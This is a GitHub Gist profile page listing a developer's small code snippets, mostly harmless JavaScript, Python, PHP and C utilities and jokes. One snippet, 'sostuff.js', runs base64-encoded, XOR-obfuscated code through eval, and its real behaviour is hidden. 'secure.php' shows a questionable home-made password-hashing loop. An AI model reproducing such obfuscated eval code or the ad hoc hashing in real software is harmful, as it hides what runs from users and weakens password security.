Skip to content

Instantly share code, notes, and snippets.

View minitech's full-sized avatar

Ryan O’Hara minitech

  • British Columbia, Canada
View GitHub Profile
@minitech
minitech / forget-you.js
Created December 10, 2011 01:53
Disables some "Remember Me" checkboxes on Firefox. GreaseMonkey user script.
// ==UserScript==
// @name Forget You
// @namespace about:blank
// @description Makes sure that users are never remembered, this being a public computer.
// ==/UserScript==
// Created by Ryan O'Hara (minitech), a customer.
// Enjoy my first Greasemonkey script!
// http://git.io/ry
@minitech
minitech / new-convert-to-array.js
Created May 19, 2012 22:52
Why you should use my new way to convert to an array
// The data
var items = document.getElementsByTagName('p');
// The old way
var arr = Array.prototype.slice.call(items);
// Pros:
// - Doesn't need a helper method that loops through stuff
//
// Cons:
@minitech
minitech / test.txt
Created May 28, 2012 04:25
A test!
Hey @animuson - does this get highlighted?
@minitech
minitech / sostuff.js
Created June 12, 2012 00:11
Stack Overflow Stuff
(function(a){function r(c){return c.split('').map(function(x){return String.fromCharCode(x.charCodeAt(0)^9)}).join('');}a="IW98Z2p9YGZnIWggcm98Z2p9YGZnKXshaiBye2x9fHtnKWonenllYH0hLi4gJ2RoeSFvfGdqfWBmZyFxIHJ7bH18e2cpWn17YGduJ297ZmRKYWh7SmZtbCFxJ2phaHtKZm1sSH0hOSBXPiB0ICdjZmBnIS4uIDJ0aDQrb2JrfHomLFpmZ30uZ30ueWZ3Lndhey59ZmF7YmpgKXouZHt9ei5+b316ay58b2BqYWMufW18Z356fS5nYHphLndhe3wubHxheX1rfCAuSmFgKXoueWF8fHciLkcuamdqYCl6LmphLm9gd3pmZ2BpICAgLnpmZ30uemdjayAsJysybH9oZSF7IWggIDJ0ISAgMg==";eval(r(atob(a)));}());
@minitech
minitech / temp.js
Created June 21, 2012 21:17
JavaScript Temperature
// Andrew Stewart wants this:
// http://stwrt.ca/HVpT
// in JavaScript. Concisely.
function temperature_icon(temp) {
if(temp < -40 || temp > 30) return 'E';
return ')_+QW'.charAt(
(temp > 0)
+ (temp > 10)
@minitech
minitech / secure.php
Created June 25, 2012 17:31
Secure hashing...?
public static function PasswordHash($data, $salt) {
$result = '';
for($i = 0; $i < 2000; $i++) {
$result = hash('sha512', $salt . $result . $data);
}
return $result;
}
@minitech
minitech / group-by.js
Created June 28, 2012 16:30
Grouping in JavaScript
// A grouping function for JavaScript.
// Created by Ryan O'Hara.
// Usage:
// group([1, 2, 3, 4, 5, 6, 7, 8, 9, 10], function(x) { return x % 2; });
// group({a: 20, b: 30, c: 40, d: 50}, function(x) { return x % 20; });
// Result:
// [[1, 3, 5, 7, 9], [2, 4, 6, 8, 10]]
// [{a: 20, c: 40}, {b: 30, d: 50}]
function group(obj, func, thisArg) {
@minitech
minitech / manga.py
Created June 30, 2012 18:38
Manga Downloader
# My first Python program.
# Feedback please; anything non-Pythonic here?
manga = raw_input("Enter the slug name of the manga: ")
while True:
try:
start = int(raw_input("Start chapter: "))
break
except ValueError:
@minitech
minitech / ruby.c
Created July 1, 2012 17:14
Fake Ruby
// This C is pretending to be Ruby.
// Yeah, I know the ifs aren't quite right. Oh well.
#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#define puts );printf("%s\n",
#define gets _gets()
#define if );if(
@minitech
minitech / calculate-total.js
Created July 5, 2012 20:11
Calculate Total
function calculateTotal(boxes, total) {
boxes.find('option:selected').each(function() {
var m = /\[\+ \$(\d+\.\d+)\]/.exec(this.value);
if(m !== null) {
total += +m[1];
}
});
var decimalPart = (total - Math.floor(total)) * 100;